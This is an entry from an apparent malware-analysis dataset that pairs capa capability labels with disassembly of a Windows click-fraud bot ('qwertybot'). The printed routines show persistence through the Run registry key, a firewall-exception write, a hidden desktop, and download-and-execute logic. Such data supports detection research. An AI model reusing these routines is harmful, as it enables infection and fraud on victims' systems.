joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40935d
Capabilities:
Copy file
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x428108]
push ebx
mov dword [ebp + 0x7a4], eax
push esi
push edi
xor eax, eax
mov edx, 0x103
xor ebx, ebx
mov byte [ebp - 0x7c], bl
mov ecx, edx
lea edi, [ebp - 0x7b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp + 0x394], bl
mov ecx, edx
lea edi, [ebp + 0x395]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x40f
push esi
lea eax, [ebp - 0x7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
lea eax, [ebp + 0x394]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp + 0x394]
push str.qwertybot.exe
push eax
call fcn.004170e0
pop ecx
pop ecx
lea eax, [ebp + 0x394]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
lea eax, [ebp + 0x394]
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x80]
push eax
push 0x20006
push ebx
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push edi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x80], ebx
call esi
test eax, eax
je 0x409436
lea eax, [ebp - 0x80]
push eax
push 0x20006
push ebx
push edi
push SysReAllocStringLen
call esi
test eax, eax
jne 0x409465
lea eax, [ebp + 0x394]
push eax
call fcn.00416b50
pop ecx
push eax
lea eax, [ebp + 0x394]
push eax
push 1
push ebx
push 0x423890
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp + 0x7a4]
pop edi
pop esi
pop ebx
call fcn.004177c2
add ebp, 0x7a8
leave
ret
Function at 0x40947b
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov eax, 0x41fb25
call fcn.00417e88
sub esp, 0x160
mov eax, dword [0x428108]
push ebx
push esi
push edi
push pe_nt_image_headers32
mov dword [ebp - 0x10], eax
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x130], bl
lea edi, [ebp - 0x12f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x130]
push eax
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x134]
push eax
push 0x20006
push ebx
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList_
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x134], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40958d
push str.::Enabled:qwertybot
lea ecx, [ebp - 0x16c]
call fcn.004021b9
mov esi, eax
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x150]
mov dword [ebp - 4], ebx
call fcn.004021b9
push esi
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 1
call fcn.0040d9c7
add esp, 0xc
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x150]
call fcn.004027ea
push ebx
push edi
lea ecx, [ebp - 0x16c]
call fcn.004027ea
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x409557
lea eax, [ebp - 0x28]
push dword [ebp - 0x18]
push eax
push edi
push ebx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x134]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x134]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push edi
lea ecx, [ebp - 0x2c]
call fcn.004027ea
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.004177c2
leave
ret
Function at 0x4095ec
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x428108]
push ebx
push esi
push edi
mov dword [ebp + 0x394], eax
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x7c], bl
mov ecx, 0x103
lea edi, [ebp - 0x7b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40f
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x7c]
push 0x4237ec
push eax
call fcn.004170e0
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0x3a0]
push str.IDR_ROOT
push str.ROOT
call fcn.004095a6
add esp, 0x18
push ebx
push ebx
push 2
push ebx
push ebx
mov edi, eax
push 0x40000000
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40968d
push ebx
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x80]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4096d4
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x4237d0
push edi
call esi
push 0x4237c4
push edi
mov dword [ebp - 0x80], eax
call esi
cmp eax, ebx
je 0x4096c4
cmp dword [ebp + 0x3a4], ebx
jne 0x4096c4
call eax
cmp dword [ebp - 0x80], ebx
je 0x4096d4
cmp dword [ebp + 0x3a4], ebx
je 0x4096d4
call dword [ebp - 0x80]
mov ecx, dword [ebp + 0x394]
pop edi
pop esi
pop ebx
call fcn.004177c2
add ebp, 0x398
leave
ret

Function at 0x40974f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x428108]
and dword [ebp - 0x14], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
push 0x20006
push 0
push str.AppEventsSchemesAppsExplorerNavigating.Current
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4097ba
push esi
push edi
mov esi, str.None
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb]
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
push eax
call fcn.00416b50
pop ecx
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 4]
call fcn.004177c2
leave
ret
Function at 0x409a27
Capabilities:
Create process on windows
Delete file
Download and write a file
Download url
Move file
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x428108]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 4], eax
call fcn.00416f6b
push eax
call fcn.00416f31
mov byte [ebp - 0x16c], bl
push pe_nt_image_headers32
xor eax, eax
pop ecx
lea edi, [ebp - 0x16b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00416f3e
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x16c]
push str._d.exe
push eax
call esi
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x16c]
push eax
push dword [ebp + 8]
push ebx
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x409be0
push pe_nt_image_headers32
pop ecx
mov byte [ebp - 0x270], bl
lea edi, [ebp - 0x26f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x103
lea eax, [ebp - 0x270]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov byte [ebp - 0x68], bl
push 0x18
xor eax, eax
pop ecx
lea edi, [ebp - 0x67]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00416f3e
mov edi, eax
call fcn.00416f3e
push eax
push edi
lea eax, [ebp - 0x68]
push str._d_d
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push ebx
push dword [0x4291c4]
call fcn.004095ec
lea eax, [ebp - 0x674]
push eax
push dword [0x4291c4]
push 0xcd
push str.ROOT
call fcn.004095a6
mov edx, eax
xor eax, eax
mov byte [ebp - 0x670], bl
mov ecx, 0xff
lea edi, [ebp - 0x66f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x16c]
push eax
push edx
lea eax, [ebp - 0x670]
push eax
call esi
call fcn.00416f3e
push eax
lea eax, [ebp - 0x16c]
push str._d.wsf
push eax
call esi
add esp, 0x30
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x409bc2
push ebx
lea eax, [ebp - 0x674]
push eax
lea eax, [ebp - 0x670]
push eax
call fcn.00416b50
pop ecx
push eax
lea eax, [ebp - 0x670]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
push ebx
push ebx
lea eax, [ebp - 0x16c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
call fcn.004177c2
leave
ret
Function at 0x40b912
Capabilities:
Accept command line arguments
Initialize winsock library
Print debug messages

Disassembly:
mov eax, 0x4203f7
call fcn.00417e88
sub esp, 0x1a0
mov eax, dword [0x428108]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push str._RegServer
push eax
call fcn.00417040
test eax, eax
pop ecx
pop ecx
jne 0x40bab6
call fcn.0040b8b1
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.0040974f
xor ebx, ebx
push ebx
push 0x10000000
push 1
push ebx
push ebx
push str.ClickDesk2
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov dword [0x429780], eax
lea eax, [ebp - 0x1a4]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.0040935d
push 1
push dword [0x4291c4]
call fcn.004095ec
pop ecx
pop ecx
push dword [0x429780]
call dword [sym.imp.USER32.dll_SetThreadDesktop]
call fcn.0040947b
push 2
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
call fcn.0040f797
lea eax, [ebp - 0x1ac]
push eax
push ebx
push ebx
push 0x40b895
push ebx
push ebx
mov dword [ebp - 0x1ac], ebx
call fcn.004172ec
lea eax, [ebp - 0x1ac]
push eax
push ebx
push ebx
push 0x40b86f
push ebx
push ebx
call fcn.004172ec
add esp, 0x30
call fcn.0040974f
mov edi, 0x42916c
call fcn.00409bef
push str.Getting_clicker_tasks..._n
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
push 0x4297c4
call fcn.00409c1f
test al, al
pop ecx
je 0x40baa6
mov dword [ebp - 4], ebx
call fcn.00409096
jmp 0x40ba2b
or dword [ebp - 4], 0xffffffff
push str.Starting_clicker_tasks..._n
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
mov eax, 0x4297c4
call fcn.0040c094
cmp eax, ebx
jle 0x40b9fb
xor esi, esi
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x4297c8]
add eax, esi
mov dword [eax + 0x5c], 1
mov eax, dword [0x4297c8]
add eax, esi
mov dword [eax + 0x74], ebx
mov eax, dword [0x4297c8]
lea edi, [esi + eax]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [edi + 0x70], eax
mov eax, dword [0x4297c8]
lea edi, [esi + eax]
call fcn.00409ed2
mov byte [edi + 0x6c], al
mov eax, dword [0x4297c8]
add eax, esi
push eax
call fcn.0040b334
add esi, 0x78
dec dword [ebp - 0x1a8]
jne 0x40ba50
jmp 0x40b9fb
push 0xea60
call fcn.00401568
pop ecx
jmp 0x40b9fb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor eax, eax
call fcn.004177c2
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ec5b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x40ec72
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
test edi, edi
jne 0x40ec84
xor eax, eax
jmp 0x40ecb5
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x40eca7
cmp edi, eax
jae 0x40ec80
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x40ec99
cmp edi, eax
jae 0x40ec80
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x4136b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ebp, dword [esp + 0x34]
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
mov dword [esp + 0x10], eax
push 1
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
call esi
test eax, eax
je 0x413711
lea ebx, [ebx]
lea ecx, [esp + 0x14]
push ecx
call edi
lea edx, [esp + 0x14]
push edx
call ebx
push 1
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
call esi
test eax, eax
jne 0x4136f0
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, ebp
jbe 0x4136d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x413b70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x41f0e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
xor esi, esi
mov dword [esp + 4], esi
mov eax, dword [esp + 0x70]
cmp eax, 0xffffffff
mov dword [esp + 0x10], 2
je 0x413ba3
inc eax
mov dword [esp + 0x70], eax
push ebx
mov ebx, dword [esp + 0x78]
push ebp
push edi
mov edi, dword [esp + 0x58]
mov ebp, ebx
cmp dword [esp + 0x5c], 0x10
mov eax, dword [esp + 0x48]
jae 0x413bbf
lea eax, [esp + 0x48]
push edi
push esi
push eax
lea ecx, [esp + 0x34]
call fcn.0040c5f5
mov esi, eax
cmp esi, 0xffffffff
je 0x413c26
mov eax, dword [esp + 0x7c]
cmp eax, 0xffffffff
je 0x413be0
dec eax
mov dword [esp + 0x7c], eax
test eax, eax
je 0x413c26
cmp ebp, 0xffffffff
mov edi, dword [esp + 0x58]
jne 0x413c07
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x68]
push eax
push edi
push esi
lea ecx, [esp + 0x3c]
call fcn.0040c353
add esi, dword [esp + 0x74]
jmp 0x413bb0
dec ebp
jne 0x413c20
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x68]
push ecx
push edi
push esi
lea ecx, [esp + 0x3c]
call fcn.0040c353
mov ebp, ebx
add esi, dword [esp + 0x74]
jmp 0x413bb0
mov esi, dword [esp + 0x24]
push 0xffffffffffffffff
push 0
lea edx, [esp + 0x30]
mov edi, 0xf
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], 0
push edx
mov ecx, esi
mov byte [esi + 4], 0
call fcn.0040258d
mov eax, dword [esp + 0x40]
mov ebx, 0x10
cmp eax, ebx
jb 0x413c67
mov eax, dword [esp + 0x2c]
push eax
call fcn.00415f5a
add esp, 4
cmp dword [esp + 0x5c], ebx
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], 0
mov byte [esp + 0x2c], 0
jb 0x413c8b
mov ecx, dword [esp + 0x48]
push ecx
call fcn.00415f5a
add esp, 4
mov eax, dword [esp + 0x78]
pop edi
pop ebp
cmp eax, ebx
pop ebx
jb 0x413ca3
mov edx, dword [esp + 0x58]
push edx
call fcn.00415f5a
add esp, 4
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x415630
Capabilities:
Enumerate process modules

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 4]
mov dword [esi + 8], 0xffffffff
mov dword [edi], 0
mov eax, dword [esi]
push eax
call fcn.00415f5a
push 0x1000
call fcn.00415b02
add esp, 8
push edi
push 0x1000
push eax
mov dword [esi], eax
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x415675
shr dword [edi], 2
mov dword [esi + 8], 1
cmp dword [edi], 0x400
jae 0x415644
mov eax, dword [esi]
test eax, eax
je 0x415694
mov ecx, dword [esi + 8]
cmp ecx, dword [edi]
jae 0x415694
mov eax, dword [eax + ecx*4]
inc ecx
pop edi
mov dword [esi + 8], ecx
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x4156e0
Capabilities:
Enumerate process modules

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
push edi
lea edi, [esi + 8]
mov dword [edi], 0
mov dword [esi + 0xc], 0xffffffff
mov dword [esi + 4], 0
je 0x415757
mov eax, dword [esi + 4]
push eax
call fcn.00415f5a
push 0x1000
call fcn.00415b02
mov ecx, dword [esi]
add esp, 8
push edi
push 0x1000
push eax
push ecx
mov dword [esi + 4], eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x415736
shr dword [edi], 2
mov dword [esi + 0xc], 0
cmp dword [edi], 0x400
jae 0x415700
cmp dword [esi], 0
je 0x415757
mov ecx, dword [esi + 0xc]
cmp ecx, dword [edi]
jae 0x415757
mov edx, dword [esi + 4]
mov eax, dword [edx + ecx*4]
inc ecx
pop edi
mov dword [esi + 0xc], ecx
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x415760
Capabilities:
Enumerate gui resources

Disassembly:
push esi
mov esi, ecx
push esi
push 0x415530
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esi + 4]
test eax, eax
mov dword [esi + 0x10], 0
je 0x41578f
mov ecx, dword [esi + 0xc]
test ecx, ecx
jbe 0x41578f
mov eax, dword [eax]
mov dword [esi + 0x10], 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x416368
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00417de0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x416403
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x4292ac]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x416403
cmp eax, 1
je 0x416424
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x416403
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4163d0
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x4163ff
xor eax, eax
inc eax
jmp 0x416443
cmp edi, eax
jae 0x416407
xor eax, eax
jmp 0x416443
cmp eax, esi
jae 0x41640e
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [0x4292ac]
jmp 0x416427
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4172ec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
test edi, edi
jne 0x417309
call fcn.00419cc8
mov dword [eax], 0x16
xor eax, eax
jmp 0x417373
push esi
push 0x8c
push 1
call fcn.00419d44
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x41735e
push esi
call fcn.00418715
mov eax, dword [ebp + 0x14]
or dword [esi + 4], 0xffffffff
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0x1c]
test eax, eax
pop ecx
mov dword [esi + 0x4c], edi
jne 0x41733c
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x18]
push esi
push 0x417257
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
jne 0x417372
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
push esi
call fcn.0041657f
test ebx, ebx
pop ecx
je 0x417370
push ebx
call fcn.00419cd1
pop ecx
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4175bc
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x4217e0
call fcn.00417e20
mov edi, 0x94
mov eax, edi
call fcn.00417de0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4292ac], ecx
mov eax, dword [esi + 4]
mov dword [0x4292b8], eax
mov edx, dword [esi + 8]
mov dword [0x4292bc], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x4292b0], esi
cmp ecx, 2
je 0x41761c
or esi, 0x8000
mov dword [0x4292b0], esi
shl eax, 8
add eax, edx
mov dword [0x4292b4], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x417657
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417657
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x41766f
cmp eax, 0x20b
je 0x41765c
mov dword [ebp - 0x1c], esi
jmp 0x417683
cmp dword [ecx + 0x84], 0xe
jbe 0x417657
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x41767d
cmp dword [ecx + 0x74], 0xe
jbe 0x417657
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00418b9c
pop ecx
test eax, eax
jne 0x417697
push 0x1c
call fcn.00417598
pop ecx
call fcn.0041890f
test eax, eax
jne 0x4176a8
push 0x10
call fcn.00417598
pop ecx
call fcn.0041a662
mov dword [ebp - 4], esi
call fcn.0041a464
test eax, eax
jge 0x4176c1
push 0x1b
call fcn.00417573
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x429bd0], eax
call fcn.0041a342
mov dword [0x429290], eax
call fcn.0041a2a0
test eax, eax
jge 0x4176e7
push 8
call fcn.00417573
pop ecx
call fcn.0041a06d
test eax, eax
jge 0x4176f8
push 9
call fcn.00417573
pop ecx
push 1
call fcn.00417f58
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x41770e
push eax
call fcn.00417573
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.0041a010
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x41772f
movzx eax, word [ebp - 0x40]
jmp 0x417732
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.0040b90a
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x417750
push edi
call fcn.00418085
call fcn.004180a7
jmp 0x417782
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00417e5b
ret